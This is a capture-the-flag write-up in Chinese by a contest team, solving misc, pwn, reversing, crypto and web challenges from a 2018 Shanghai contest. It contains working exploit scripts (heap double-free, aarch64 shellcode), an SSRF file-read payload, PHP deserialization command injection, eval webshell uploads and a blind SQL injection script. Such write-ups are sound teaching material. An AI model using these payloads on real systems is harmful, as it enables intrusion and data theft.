

2018 上海市大学生网络安全大赛线上赛 Writeup by Whitzard

在本周末的第四届上海市网络安全大赛线上赛上，我们队伍的成员发挥出色，获得了线上赛的第一名（给大佬们递茶）。现在将题目的 writeup 发出来分享给大家。

Misc

签到

```
import base64
print(base64.b32decode('MZWGCZ33GM2TEMRSMQZTALJUGM4WK LJUMFTGELJZGFTDILLBMJSWEYZXGNTGKMBVMN6Q==='))
#flag{35222d30-439e-4afb-91f4-abebc73fe05c}'
```

easy_py

拿到一个pyc 分析了一下发现中间被恶意插了一行字节码，把他删掉可以正常disasm。

```
1      0  JUMP_ABSOLUTE      6  'to 6'
      3
      6  JUMP_ABSOLUTE      9  'to 9'
      9  LOAD_CONST           0  ''
     12  LOAD_CONST           1  10
     15  LOAD_CONST           2  7
     18  LOAD_CONST           3  1
     21  LOAD_CONST           4  29
     24  LOAD_CONST           5  14
     27  LOAD_CONST           2  7
     30  LOAD_CONST           6  22
     33  LOAD_CONST           6  22
     36  LOAD_CONST           7  31
     39  LOAD_CONST           8  57
     42  LOAD_CONST           9  30
     45  LOAD_CONST          10  9
     48  LOAD_CONST          11  52

2     51  LOAD_CONST          12  27
     54  BUILD_LIST_15      15
     57  STORE_NAME          0  'cmp'

3     60  LOAD_NAME           1  'raw_input'
     63  CALL_FUNCTION_0      0

4     66  STORE_NAME           2  'flag'
     69  LOAD_CONST           0  ''
     72  STORE_NAME           3  'm'
     75  SETUP_LOOP          91  'to 169'
     78  LOAD_NAME             2  'flag'
     81  GET_ITER
     82  FOR_ITER              83  'to 168'
     85  STORE_NAME           4  'i'
     88  LOAD_NAME             5  'ord'
     91  LOAD_NAME             4  'i'
     94  CALL_FUNCTION_1       1
     97  UNARY_INVERT
     98  LOAD_CONST           13  102
    101  BINARY_AND
    102  LOAD_NAME             5  'ord'
    105  LOAD_NAME             4  'i'
    108  CALL_FUNCTION_1       1
    111  LOAD_CONST           18  -103
    114  BINARY_AND
    115  BINARY_OR
```

```

116 STORE_NAME      4  'i'
119 LOAD_NAME       4  'i'
122 LOAD_NAME       0  'cmp'
125 LOAD_NAME       3  'm'
128 BINARY_SUBSCR
129 COMPARE_OP       2  '=='
132 POP_JUMP_IF_FALSE 144 'to 144'
135 LOAD_NAME       3  'm'

8    138 UNARY_NEGATIVE
139 LOAD_CONST      14  -1
142 BINARY_ADD
143 UNARY_NEGATIVE

10   144 STORE_NAME      3  'm'
147 JUMP_BACK       73  'to 73'
150 CONTINUE        73  'to 73'
153 LOAD_CONST      15  'wrong'
156 PRINT_ITEM
157 PRINT_NEWLINE_CONT
158 LOAD_NAME       6  'exit'
161 CALL_FUNCTION_0  0
164 POP_TOP
165 JUMP_BACK       73  'to 73'
168 POP_BLOCK
169_0 COME_FROM      '75'
169 LOAD_CONST      16  'right'
172 PRINT_ITEM
173 PRINT_NEWLINE_CONT

```

然后直接写python做逆操作

```

>>> comp=[0,10,7,1,29,14,7,22,22,31,57,30,9,52,27]
>>> s=""
>>> for i in comp:
...     s+=chr((-i-1)^(-103))
...
>>> s
'flag{happy_xor}'

```

Pwn

memo_server

漏洞在于free时没清空指针，修改count即可double free。提示说无法直接getshell，不知所云。

```

from pwn import *
import re
import urllib
code = ELF('./pwn', checksec=False)
context.arch = code.arch
context.log_level = 'debug'

def add(memo, count):
    r.sendline('POST /add \nConnection: keep-alive\n\nmemo={}&count={}'.format(memo, count))
    ret = r.recvuntil('}\n')

def fre():
    r.sendline('POST /count \nConnection: keep-alive\n\n')
    ret = r.recvuntil('}\n')

def show():
    r.sendline('GET /list \nConnection: keep-alive\n\n')
    ret = r.recvuntil('</html>\n')
    return ret

def exploit(r):
    add('a'*4, 1)
    add('b'*4, 1)
    add('c'*4, 1)

```

```

add('d'*4, 1)
add('a'*48, 1)
add('b'*48, 1)
add('c'*48, 1)
add('d'*48, 1)
add('eee', 123456)
fre()
sleep(3)
tmp = show()
p = re.compile(r'<td>(.*?)</td>')
tmp = re.findall(p, tmp)
heap = u64(tmp[1].ljust(8, '\0')) & ~0xff
assert heap != 0
info('%016x heap', heap)

add(p64(heap+0x60).replace('\x00', ''), 1)
fre()
sleep(3)
add('ffffffff\x21', 1234)
add(flat('A'*16, code.got['atoi']).replace('\x00', ''), 1234)

tmp = show()
p = re.compile(r'<td>(.*?)</td>')
tmp = re.findall(p, tmp)
for i in tmp:
    if i[-1] == '\x7f':
        libc.address = u64(i+'\0\0') - libc.sym['atoi']
        info('%016x libc.address', libc.address)
        break
assert libc.address != 0

add(p64(heap+0x180).replace('\x00', ''), 1)
fre()
sleep(3)
#r.sendline('POST /echo \nConnection: keep-alive\n\ncontent=' + 'A'*1200)

add(urllib.quote(flat(0x60308a)).ljust(0x30, 'A'), 12345)
add(urllib.quote(flat(0x60308a)).ljust(0x30, 'A'), 12345)
add(urllib.quote(flat(0x60308a)).ljust(0x30, 'A'), 12345)
r.sendline('POST /add \nConnection: keep-alive\n\nmemo={}&count={}'.format(urllib.quote(flat('A'*6, libc.sym['system'])).ljust(0x30, '\0'), '1'))
#flag{f31e33ff-0fcc-49b3-b29c-6e4a4364e2e4}
r.interactive()

```

baby_arm

栈溢出，打开NX跳shellcode。

```

from pwn import *
code = ELF('./pwn', checksec=False)
context.arch = code.arch
context.log_level = 'debug'

r = remote('106.75.126.171', 33865)

sc = asm(shellcraft.aarch64.linux.sh(), arch='aarch64').ljust(0x30) + p64(0x400600) + p64(0x411068)
r.sendafter('Name:', sc)

r.send(flat(cyclic(64), 1, 0x4008CC, [0,0x4008AC,0,0,0x411068+0x30,7,0x1000,0x411000]))

#flag{a62ddf9e-d3c4-4021-93ca-6d46361ed6bc}
r.interactive()

```

Re

cpp

题目有两个对输入进行处理并且验证的地方first_handle和second_handle：

```

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
    char in; // [rsp+0h] [rbp-80h]
    char out; // [rsp+20h] [rbp-60h]
    char in_; // [rsp+40h] [rbp-40h]
    unsigned __int64 v7; // [rsp+68h] [rbp-18h]

    v7 = __readfsqword(0x28u);
    std::_cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&in, a2, a3);
    std::operator<<<std::char_traits<char>>(&std::cout, "input flag:");
    std::operator>><char,std::char_traits<char>,std::allocator<char>>(&std::cin, &in);
    std::_cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&in_, &in);
    first_handle((__int64)&out, (__int64)&in_, (__int64)&in_);
    std::_cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~~basic_string(&in_);
    second_handle((__int64)&out);
    sub_40154E((__int64)&out);
    std::_cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~~basic_string(&in);
    return 0LL;
}

```

第一处处理：

```

unsigned __int64 __fastcall sub_40111A(__int64 input)
{
    _BYTE *v1; // rbx
    int v2; // er12
    const char *v3; // rax
    int i; // [rsp+1Ch] [rbp-54h]
    char s1[43]; // [rsp+20h] [rbp-50h]
    unsigned __int64 v7; // [rsp+58h] [rbp-18h]

    v7 = __readfsqword(0x28u);
    s1[0] = 0x99u;
    s1[1] = 0xB0u;
    s1[2] = 0x87u;
    s1[3] = 0x9Eu;
    s1[4] = 0x84u;
    s1[5] = 0xA0u;
    s1[6] = 0xCBu;
    s1[7] = 0xEFu;
    s1[8] = 0x88u;
    s1[9] = 0x90u;
    s1[10] = 0xBBu;
    s1[11] = 0x8Eu;
    s1[12] = 0x91u;
    s1[13] = 0xE0u;
    s1[14] = 0xD2u;
    s1[15] = 0xAEu;
    s1[16] = 0xD4u;
    s1[17] = 0xC5u;
    s1[18] = 0x6F;
    s1[19] = 0xD7u;
    s1[20] = 0xC0u;
    s1[21] = 0x68;
    s1[22] = 0xC6u;
    s1[23] = 0x6A;
    s1[24] = 0x81u;
    s1[25] = 0xC9u;
    s1[26] = 0xB7u;
    s1[27] = 0xD7u;
    s1[28] = 0x61;
    s1[29] = 4;
    s1[30] = 0xDAu;
    s1[31] = 0xCFu;
    s1[32] = 0x3D;
    s1[33] = 0x5C;
    s1[34] = 0xD6u;
    s1[35] = 0xEFu;
    s1[36] = 0xD0u;

```

```

s1[37] = 0x58;
s1[38] = 0xEFu;
s1[39] = 0xF2u;
s1[40] = 0xADu;
s1[41] = 0xADu;
s1[42] = 0xDFu;
for ( i = 0;
      i < (unsigned __int64)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::length(input);
      ++i )
{
    v1 = (_BYTE *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](input, i);
    v2 = 4 * *(char *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](input, i);
    *v1 = ((*(_BYTE *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](input, i) >> 6)
}
v3 = (const char *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::c_str(input);
if ( strcmp(s1, v3) == 0 )                // fake
{
    sub_4012CE(input);                    // flag is: flag{7h15_15_4_f4k3_F14G_3=_rue!}
    exit(0);
}
return __readfsqword(0x28u) ^ v7;
}

```

对输入进行移位异或的操作 $input[i] = (input[i] \gg 6) | ((input[i] \ll 2) \wedge i)$, 之后和固定值比较, 相等则输出假的成功信息。

第二处处理:

```

unsigned __int64 __fastcall second_handle(__int64 input)
{
    _BYTE *v1; // r12
    int v2; // ebx
    char v3; // r13
    const char *v4; // rax
    signed int i; // [rsp+18h] [rbp-58h]
    signed int j; // [rsp+1Ch] [rbp-54h]
    char s[32]; // [rsp+20h] [rbp-50h]
    char v9; // [rsp+40h] [rbp-30h]
    unsigned __int64 v10; // [rsp+48h] [rbp-28h]

    v10 = __readfsqword(0x28u);
    v9 = 0;
    s[0] = 0x99u;
    s[1] = -80;
    s[2] = -121;
    s[3] = -98;
    s[4] = 112;
    s[5] = -24;
    s[6] = 65;
    s[7] = 68;
    s[8] = 5;
    s[9] = 4;
    s[10] = -117;
    s[11] = -102;
    s[12] = 116;
    s[13] = -68;
    s[14] = 85;
    s[15] = 88;
    s[16] = -75;
    s[17] = 97;
    s[18] = -114;
    s[19] = 54;
    s[20] = -84;
    s[21] = 9;
    s[22] = 89;
    s[23] = -27;
    s[24] = 97;
    s[25] = -35;
    s[26] = 62;
    s[27] = 63;
    s[28] = -71;

```

```

s[29] = 21;
s[30] = -19;
s[31] = -43;
for ( i = 0; i <= 3; ++i )
{
    for ( j = 1; j < strlen(s); ++j )
    {
        v1 = (_BYTE *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](input, j);
        v2 = *(unsigned __int8 *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](
            input,
            j);
        v3 = *(_BYTE *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](
            input,
            j - 1) | v2;
        LOBYTE(v2) = *(_BYTE *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](
            input,
            j);
        *v1 = v3 & ~(v2 & *(_BYTE *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](
            input,
            j - 1));
    }
}
v4 = (const char *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::c_str(input);
if ( strcmp(v4, s, 32uLL) == 0 ) // real
    sub_401522();
return __readfsqword(0x28u) ^ v10;
}

```

对经过移位异或后的输入进行运算($\text{input}[i-1] | \text{input}[i] \& \sim(\text{input}[i] \& \text{input}[i-1])$), 然后和固定值比较, 相等则输出真的成功信息。

下面是解密的脚本:

```

s1 = [153, 176, 135, 158, 132, 160, 203, 239, 136, 144, 187, 142, 145, 224, 210, 174, 212, 197, 111, 215, 192, 104, 198, 106,
flag=""
# (input[i]>>6)|((input[i]<<2))^i
for i in range(len(s1)):
    tmp=(s1[i]^i)
    c=((tmp<<6)&0xff|(tmp>>2)&0xff)
    flag+=chr(c)
print flag
#flag is: flag{7h15_15_4_f4k3_F14G_3=_rua!}
s=[153, 176, 135, 158, 112, 232, 65, 68, 5, 4, 139, 154, 116, 188, 85, 88, 181, 97, 142, 54, 172, 9, 89, 229, 97, 221, 62, 63,

for i in range(4):
    for j in range(len(s)-1,0,-1):
        a=s[j-1]|s[j]
        s[j]=a&~(s[j]&s[j-1]))
print s
flag=''
for i in range(len(s)):
    tmp=((s[i])^i)&0xff
    c=((tmp<<6)&0xff|(tmp>>2)&0xff)&0xff
    s[i]=c
    flag+=chr(s[i])
print s
print (flag)
#flag{W0w_y0u_m4st3r_C_plus_plus}

```

cyvm

简单vm, 输入存到s, 经过vm处理后判断与s2相等。

分析vm代码, 发现是将输入的每一位与后面一位和index作异或:

```

0x0F
0x10 0x14 0x20 reg[0] = 0x20
0x10 0x16 0x00 reg[2] = 0
0x09 0x24 jmp 0x24
0x9:
0x02 0x15 0x16 reg[1] = s[reg[2]]
0xE9 nop
0x12 0x16 reg[2]++

```

```

0xE8 nop
0x02 0x17 0x16 reg[3] = s[reg[2]]
0x13 0x16 reg[2]--
0x90 nop
0x06 0x15 0x17 reg[1] ^= reg[3]
0x45 nop
0x06 0x15 0x16 reg[1] ^= reg[2]
0x76 nop
0x01 0x15 0x16 s[reg[2]] = reg[1]
0x12 0x16 reg[2]++
0xFF nop
0x24:
0x0A 0x14 0x16 cmp reg[0] reg[2]
0x0C 0x09 jz 0x9

```

翻译成python：

```

for i in range(len(s)):
    s[i] = s[i] ^ s[i+1] ^ i

```

于是实现逆过程：

```

data=[0x0A, 0x0C, 0x04, 0x1F, 0x48, 0x5A, 0x5F, 0x03, 0x62, 0x67, 0x0E, 0x61, 0x1E, 0x19, 0x08, 0x36, 0x47, 0x52, 0x13, 0x57,
for i in range(31,-1,-1):
    data[i]^=i
    data[i]^=data[i+1]
print ''.join(map(chr,data))

```

得到flag：

```

flag{7h15_15_MY_flrs7_slmp13_Vm}

```

What's_it

读入6位小写字母并md5，然后对md5中的0的数量和位置做了一个check，爆破：

```

import hashlib
import threading

def test(s):
    cnt = 0
    tot = 0
    for i in range(len(s)):
        if s[i] == '0':
            tot += 1
            cnt += i
    return 10*tot + cnt == 403

def brute(a):
    s = ''
    for b in range(97,123):
        for c in range(97,123):
            for d in range(97,123):
                for e in range(97,123):
                    for f in range(97,123):
                        s = chr(a)+chr(b)+chr(c)+chr(d)+chr(e)+chr(f)
                        m2 = hashlib.md5()
                        m2.update(s)
                        h = m2.hexdigest()
                        if test(h):
                            print s, h

for i in range(97,123):
    t = threading.Thread(target=brute,args=(i,))
    t.start()

```

得到ozulmt 0ec448d42dbf0000c020c0000048010e

运行程序，输入ozulmt，decode函数会根据md5的后4位对check函数进行异或脱壳，dump内存得到脱壳后的check函数：

```

int check(unsigned __int8 *a1)
{
    signed int len_input; // eax
    char data[32]; // [esp+1Dh] [ebp-6Bh]

```

```

char input[50]; // [esp+3Eh] [ebp-4Ah]
int k; // [esp+70h] [ebp-18h]
int j; // [esp+74h] [ebp-14h]
int i; // [esp+78h] [ebp-10h]
unsigned int should32; // [esp+7Ch] [ebp-Ch]

should32 = 0;
for ( i = 0; i <= 3; ++i )
    should32 += a1[i];
srand(should32);
*(_DWORD *)data = 0;
*(_DWORD *)&data[29] = 0;
memset(
    (void *)((unsigned int)&data[4] & 0xFFFFFFFFC),
    0,
    4 * (((unsigned int)&data[-((unsigned int)&data[4] & 0xFFFFFFFFC) + 33] & 0xFFFFFFFFC) >> 2));
printfs(1);
scanf(input);
checkht(input);
for ( j = 0; j <= 31; ++j )
    data[j] = ASCII[rand(16)];
should32 = 0;
for ( k = 0; ; ++k )
{
    len_input = strlen(input);
    if ( len_input <= k )
        break;
    if ( input[k] == data[k] )
        ++should32;
    else
        should32 += 100;
}
if ( should32 == 32 )
    should32 = 2;
else
    should32 = 3;
return printfs(should32);
}

```

在checkht中检查flag格式后，根据md5的前4位作为种子生成32个16进制字符生成flag，用c++实现：

```

#include <cstdio>
#include <cstring>
#include <iostream>
using namespace std;
int main(){
    char *s="0123456789abcdef";
    srand(300);
    for(int i = 0 ; i < 32; i++)
        cout << s[rand()%16];

}

```

修正格式，得到flag：

```
flag{a197b847-7092-53a4-7c41-bc7d6d52e69d}
```

Crypto

rsaaaaaa

有两关

第一关令 d=1 可以很快得到一个满足的N

第二关 让服务器解密2m对应的cipher，把解密的结果除2即可得到m

通过两关后aes解密即可获得flag

脚本如下

```

from pwn import *
from hashlib import sha512
from Crypto.Util.number import *
from Crypto.Cipher import AES

```



```

context.log_level="debug"
con=remote("106.75.101.197",7544)

def pofw():
    con.recvuntil("(")
    msg=con.recv(16)
    con.recvuntil("== ")
    dig=con.recv(128)
    ans=util.iters.bruteforce(lambda x:sha512(msg+x).hexdigest()==dig,string.ascii_letters+string.digits,length=4)
    con.sendlineafter("X:",ans)
    con.recvuntil("f.")
pofw()
con.recvuntil("age:")
mes=con.recvuntil('\n').strip()
con.recvuntil("text:")
cipher=con.recvuntil('\n').strip()
mes1= int(mes,16)
cipher=int(cipher,16)
mi= cipher-mes1
i=2
while(True):
    if(mi%i==0):
        tmp=mi/i
        assert(tmp*i==mi)
        break

    i+=1
con.sendlineafter("n:\n",str(tmp))
con.sendlineafter("d:\n",str(1))
con.recvuntil("private key!")
con.recvuntil("n=")
n=int(con.recvuntil("\n").strip(),16)
con.recvuntil("e=")
e=int(con.recvuntil("\n").strip(),16)
con.recvuntil("c=")
c=int(con.recvuntil("\n").strip(),16)
c2=(pow(2,e,n)*c )%n
con.sendlineafter("):",str(c2))
con.recvuntil("message:")
m2=int(con.recvuntil("\n").strip(),16)
mes2=m2/2

con.sendlineafter("message:",str(mes2))
con.recvuntil("math!\n")
aes= AES.new(hex(mes2)[2:].strip("L").decode("hex"), AES.MODE_CBC, hex(mes1)[2:].strip("L").decode("hex"))
con.recvuntil("flag:")
cipher=con.recvuntil("\n").strip()
print aes.decrypt(cipher[2:].decode("hex"))
con.close()
#con.interactive()

flag{ec35162f-94b3-47e4-8d2c-6da6bba0391f}

```

aesssss

问题出在pad以及unpad的过程

通过设置最后一个字节，可以缩短或者加长原来的flag

我们可以根据如下的算法爆破出flag的最后一个字节

- 1.记录原来的flag对应的密文
- 2.截断原来flag的最后一个字节
- 3.遍历所有的可见字符，在截断后的flag末尾增加一个字节，并获得对应密文，将密文逐个与第一步得到的密文对比，找到相同的密文，即可获得最后一个字节

然后依此逐个字节向前爆破，获得完整的flag

脚本如下

```

from pwn import *
import string
from hashlib import sha256
context.log_level="info"
con=remote("106.75.13.64",54321)

```

```

#con=remote("127.0.0.1",23333)
def pofw():
    con.recvuntil("+")
    msg=con.recv(16)
    con.recvuntil("== ")
    dig=con.recv(64)
    ans=util.iters.bruteforce(lambda x:sha256(x+msg).hexdigest()==dig,string.printable[:-3],length=4)
    con.sendlineafter("X:",ans)

def getflagenc():
    con.sendlineafter("choice:", "1")
    con.recvuntil("flag: ")
    cipher=con.recvuntil("\n").strip('\n')
    return cipher
def setflag(m):
    con.sendlineafter("choice:", "2")
    con.sendlineafter("something:",m)
    con.recvuntil("Done.\n")
def getenc(m):
    con.sendlineafter("choice:", "3")
    con.sendlineafter("encrypt:",m)
    con.recvuntil("message: ")
    cipher=con.recvuntil("\n").strip('\n')
    return cipher
def changeflag(char,index):
    setflag((256-index-1)*"\x00"+chr(256-index+1))
    setflag(char+(256-index)*chr(256-index))
def reduceflag(index):
    setflag((256-index-1)*"\x00"+chr(256-index+1))
    setflag((256-index+1)*chr(256-index+1))
pofw()
plain="}"
flag=getflagenc()

#changeflag(ord('}'),33)
#print getflagenc()
#print flag
i=33
while(i>1):

    reduceflag(i)
    flag=getflagenc()
    for char in string.printable[:-4]:
        changeflag(char,i-1)
        m=getflagenc()
        if m==flag:
            plain=char+plain
            i-=1
            success(plain)
            break

print plain
con.close()
flag{H4ve_fun_wlth_p4d_and_unp4d}

```

Web

web01

根据提示，访问 robots.txt 得到 hint: source.php flag.php，继续访问 source.php，得到:

```

you need to login as admin!
<!-- post param 'admin' -->

```

然后修改请求，补充参数 admin=1，得到：

```

you need to login as admin!
<!-- post param 'admin' -->only 127.0.0.1 can get the flag!!

```

继续修改，用 x-client-IP: 127.0.0.1 绕过：

```
...
x-client-IP: 127.0.0.1
...
admin=1
```

得到

```
you need to login as admin!
<!-- post param 'admin' -->you need post url: http://www.ichunqiu.com
```

传入参数 url，可以得到

```
you need to login as admin!
<!-- post param 'admin' -->http://www.ichunqiu.com

```

这里推测为 SSRF 解析问题，构造 payload：

```
admin=1&url=http%3A%2F%2F40127.0.0.1%3A80%40www.ichunqiu.com%2F.%2F%2Findex.php
```

可以在页面返回的 的对应文件里看到相应返回的主页内容。

由此通过 file 协议构造 payload：

```
admin=1&url=file%3A%2F%2F40127.0.0.1%3A80%40www.ichunqiu.com%2F.%2F.%2F%2Fvar%2Fwww%2Fhtml%2Fflag.php
```

获得 flag：flag{4f643122-b7ab-4a43-9ab2-c8360cf5e376}

web02

通过备份文件 .index.php.swp 得到源码：

```
<?php
error_reporting(0);
class come{
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
    function __wakeup(){
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf(trim($v));
        }
    }
    function waf($str){
        $str=preg_replace("/[<>*;|?\n ]/", "", $str);
        $str=str_replace('flag', '', $str);
        return $str;
    }
    function echo($host){
        system("echo $host");
    }
    function __destruct(){
        if (in_array($this->method, array("echo")) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    }
}

$first='hi';
$var='var';
$bbb='bbb';
$ccc='ccc';
$i=1;
foreach($_GET as $key => $value) {
    if($i==1)
```

```

        {
            $i++;
            $$key = $value;
        }
        else{break;}
    }
}
if($first=== "doller")
{
    @parse_str($_GET['a']);
    if($var=="give")
    {
        if($bbb=="me")
        {
            if($ccc=="flag")
            {
                echo "<br>welcome!<br>";
                $come=@$_POST['come'];
                unserialize($come);
            }
        }
        else
        {echo "<br>think about it<br>";}
    }
    else
    {
        echo "NO";
    }
}
else
{
    echo "Can you hack me?<br>";
}
?>

```

使用 `first=doller&a=var=give%26bbb=me%26ccc=flag` 绕过 GET 参数的检查。然后利用 php 的反序列化在 host 函数处命令注入。

可以看到 waf 会进行过滤，但可以用双写绕过 flag 过滤 `flflagag`，`$IFS` 绕过空格过滤，最终得到 payload 如下：

```
come=O%3A4%3A%22come%22%3A2%3A%7Bs%3A12%3A%22%00come%00method%22%3Bs%3A4%3A%22echo%22%3Bs%3A10%3A%22%00come%00args%22%3Ba%3A1%
```

得到flag: `flag{95812941-e7c8-4ec8-abf9-fdf2f275c54c}`

web03

源码审计：

```

<?php
    //error_reporting(0);
    //$dir=md5("icq" . $_SERVER['REMOTE_ADDR']);
    $dir=md5("icq");
    $sandbox = '/var/sandbox/' . $dir;
    @mkdir($sandbox);
    @chdir($sandbox);

    if($_FILES['file']['name']){
        $filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name'];
        if (!is_array($filename)) {
            $filename = explode('.', $filename);
        }
        $ext = end($filename);
        if($ext== $filename[count($filename) - 1]){
            die("emmmm...");
        }
        $new_name = (string)rand(100,999)." ".$ext;
        move_uploaded_file($_FILES['file']['tmp_name'],$new_name);
        $_ = $_POST['hehe'];
        if(@substr(file($_)[0],0,6)=='@?php' && strpos($_,$new_name)===false){
            include($_);
        }
        unlink($new_name);
    }

```

```

}
else{
    highlight_file(__FILE__);
}

```

使用数组绕过第一步的检查，然后用 /. 绕过 unlink：

```

-----568507734196432315160385
Content-Disposition: form-data; name="file[0]"

php

-----568507734196432315160385
Content-Disposition: form-data; name="file[a]"

php/.
-----568507734196432315160385
Content-Disposition: form-data; name="file"; filename="index.php"
Content-Type: application/x-httpd-php

<?php
    @eval($_GET['cmd']);
?>
-----568507734196432315160385--

```

然后尝试 include shell 文件（爆破）：

```

-----280543779984883401718121
Content-Disposition: form-data; name="file[0]"

php

-----280543779984883401718121
Content-Disposition: form-data; name="file[a]"

php/.
-----280543779984883401718121
Content-Disposition: form-data; name="hehe"

100.php
-----280543779984883401718121
Content-Disposition: form-data; name="file"; filename="index.php"
Content-Type: application/x-httpd-php

@<?php
    @eval($_GET['cmd']);
?>
-----280543779984883401718121--

```

爆破 900 次后会发现整个文件夹下都是相应的 shell 文件，轻松 include，最后得到 flag：flag{5932a9f0-efee-45a5-ba6f-4437563f5042}

web04

发现 http://6ff03671b0644e8db32a373d5c78c9bbf360c9fb8de74568.game.ichunqiu.com/select_quest.php?id=1&Submit=Select+Guest id 处存在注入点，写脚本注入 admin 密码：

```

import string
import requests

s = requests.Session()

v = ""

def judge(text):
    return text != '$content=str_replace($value,"",$content)'

def get(url, data):
    return s.get(url, params=data)

def test(payload):
    url = "http://43738b589b7f4ddc83ece06a8f71af34d783a0ab788f4ab4.game.ichunqiu.com/select_quest.php"

```

```

    return get(url, {'id': payload})

def blind_inject(s):
    r = ''
    while True:
        left = 0
        right = 128
        while left <= right:
            mid = (left + right) // 2
            c = chr(mid)
            payload = s.format(len(r)+len(v)+1, c)
            #print(payload)
            if judge(test(payload).text):
                left = mid + 1
            else:
                right = mid - 1
        if left == 0:
            break
        else:
            print(left)
            r += chr(left)
            print(v+r)
    return r

def main():
    #blind_inject("1%27%20and%20substr(database(),{},{},1)%20>%20%27{%}%27%23")
    #
    #blind_inject("1' and substr((SELECT GROUP_CONCAT(table_name) FROM information_schema . tables WHERE table_schema=database()) , {},{},1) > '{'}' #")
    #
    #blind_inject("1' and substr((SELECT GROUP_CONCAT(column_name) FROM information_schema . columns WHERE table_name = 'user') , {},{},1) > '{'}' #")
    #
    blind_inject("1' and substr((SELECT password FROM web.user where id = 1), {},{},1) > '{'}' #")

if __name__ == '__main__':
    main()

```

盲注得到 admin 密码的 md5 为 E3274BE5C857FB42AB72D786E281B4B8 , 查找得到 adminpassword

登录进入 http://6ff03671b0644e8db32a373d5c78c9bbf360c9fb8de74568.game.ichunqiu.com/the_last_upload.php

发现是文件上传界面，可控的注入点有 filename 和 uploadaddir 两处：

The screenshot shows a web browser window with a file upload interface. The 'Request' tab is selected, showing the raw HTTP request. The request body contains a form submission with fields 'action', 'file', and 'uploadaddir'. The 'file' field contains a PHP payload: '<?php @eval(\$_GET[\"cmd\"]); ?>'. The 'uploadaddir' field contains './flag.p'. The 'Response' tab is also visible, showing the server's response: 'HTTP/1.1 200 OK' and 'Server: nginx/1.10.2'. The response body contains a message: 'uploaded to .flag.php.txt please upload to .flag.php'.

控制 uploadaddir=./flag.p, filename=hp, 然后使用 %02 成功截断，成功获得 flag{5accd04b-53bd-4b78-b085-1ea674418701}

点击收藏 | 0 关注 | 1

[上一篇：XCTF 2018 Final W...](#) [下一篇：2018 上海市大学生网络安全大赛题解](#)

1. 1 条回复



[有毒](#) 2018-11-06 15:09:43

自己做不出来，看看大佬的WP

0 回复Ta

[登录](#) 后跟帖

先知社区

[现在登录](#)

热门节点

[技术文章](#)

[社区小黑板](#)

目录

[RSS](#) [关于社区](#) [友情链接](#) [社区小黑板](#)